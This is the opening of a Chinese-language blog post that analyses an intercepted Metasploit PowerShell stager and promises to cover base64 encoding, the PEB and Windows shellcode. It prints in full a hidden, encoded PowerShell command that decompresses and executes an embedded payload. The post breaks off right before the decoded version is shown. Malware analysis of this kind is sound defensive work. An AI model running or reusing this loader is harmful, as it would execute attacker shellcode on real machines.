作为第一篇博客文章，我觉得分析一个常见的 Metasploit shellcode 会很有意思——这是一个讨论编码、PEB、Windows shellcode 和导出地址表等主题的好机会。
我们从一条截获的长命令行开始：```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
这是一个 PowerShell [base64](https://en.wikipedia.org/wiki/Base64) 编码的命令行（由 `-encodedcommand` 标志指示）。解码后，它看起来像这样：```powershell